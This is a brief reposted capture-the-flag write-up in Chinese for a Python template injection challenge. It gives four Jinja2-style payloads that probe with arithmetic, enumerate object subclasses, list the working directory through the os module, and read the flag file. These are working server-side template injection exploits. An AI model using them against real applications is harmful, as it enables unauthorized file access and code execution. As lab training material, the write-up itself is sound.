攻防世界-web-高手進階區011-Web_python_template_injection


1.判斷存在python模塊注入

{{7+7}}

 

 

 

2.{{''.__class__.__mro__[2].__subclasses__()}}

 

 

 

3.{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

 

 

 

4.{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

 

 

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM